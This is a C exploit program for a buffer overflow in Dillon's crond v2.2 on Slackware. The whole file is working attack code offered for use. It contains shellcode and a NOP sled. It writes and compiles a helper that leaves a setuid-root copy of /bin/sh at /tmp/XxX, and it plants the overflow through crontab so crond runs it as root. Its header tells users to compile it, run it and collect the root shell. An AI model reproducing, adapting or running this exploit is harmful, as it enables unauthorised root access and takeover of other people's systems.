/*   Dillon's Crond v2.2 exploit            */
/*                                          */
/*   There exists a buffer overflow         */
/*   in Slackware's /usr/sbin/crond         */
/*   in the fdprintf() function from        */
/*   subs.c [specifically vsprintf()]       */
/*   Also take note that the overflow       */
/*   was discovered by the KSRT team.       */
/*                                          */
/*   Simply compile and run this.           */
/*   and look for a suid root shell         */
/*   in /tmp (/tmp/XxX) in about one        */
/*   minute. Also please use this in        */
/*   a responsible manner.                  */
/*                                          */
/*   also try crondsploit 1000              */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <pwd.h>

#define DEFAULT_OFFSET 560
#define DEFAULT_BUFFER_SIZE 980 
#define TOTAL_BUFFER 4096

char shellcode[]=
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/tmp/xo";

long get_esp(void) {
   __asm__("movl %esp,%eax");
}

void calc_bs(int *bs_ptr)
{
        int len=0;
        struct passwd *p_name;

        /* dependant on length of username */
        p_name=getpwuid(getuid());
        len=strlen(p_name->pw_name);
        *bs_ptr = 986 - len;
        return;
}

int main(int argc, char **argv) {
        char *buff = NULL;
        unsigned long *addr_ptr = NULL;
        char *ptr = NULL;
        int i, ofs=DEFAULT_OFFSET;
        int bs=DEFAULT_BUFFER_SIZE;
        FILE *fp=NULL;

        /* probably will not need to give argument */
        if (argc==2)
                ofs=atoi(argv[1]);
        calc_bs(&bs);
        buff=malloc(TOTAL_BUFFER);
        if(!buff) {
                perror("malloc");
                exit(EXIT_FAILURE);
        }
        ptr=buff;
        memset(ptr,0x90, bs-strlen(shellcode));
        ptr += bs-strlen(shellcode);
        for (i=0; i<strlen(shellcode); i++)
                *(ptr++) = shellcode[i];
        addr_ptr = (long *)ptr;
        for (i=0; i<2; i++)
                *(addr_ptr++)=get_esp()-ofs;
        ptr=(char *)addr_ptr;
        *ptr=0;

        /* create binary in /tmp to make suid shell */
        fp=fopen("/tmp/xo.c","w+");
        if (!fp) {
                fprintf(stderr,"Can't open /tmp/xo.c for writing!");
                exit(EXIT_FAILURE);
        }
        fprintf(fp,"#include <stdio.h>\n");
        fprintf(fp,"#include <stdlib.h>\n");
        fprintf(fp,"main() {\n");
        fprintf(fp,"\tsystem(\"/bin/cp /bin/sh /tmp/XxX\");\n");
        fprintf(fp,"\tsystem(\"chown root /tmp/XxX\");\n");
        fprintf(fp,"\tsystem(\"chmod 4755 /tmp/XxX\");\n");
        fprintf(fp,"}\n");
        fclose(fp);
        /* compile our program to create suid shell */
        system("cc -o /tmp/xo /tmp/xo.c");
        unlink("/tmp/xo.c");


        /* now use crontab to plant overflow for crond */
        fp=fopen("r00t","w+");
        if (!fp) {
                perror("fopen");
                exit(EXIT_FAILURE);
        }
        fprintf(fp,"%s\n",buff);
        fclose(fp);

        /* put our r00t crontab in crontabs directory */
        system("/usr/bin/crontab r00t");
        unlink("r00t");

        /* helpful reminder */
        printf("Now wait about 1 minute and look\n");
        printf("for the suid shell -> /tmp/XxX\n");
        exit(0);
}

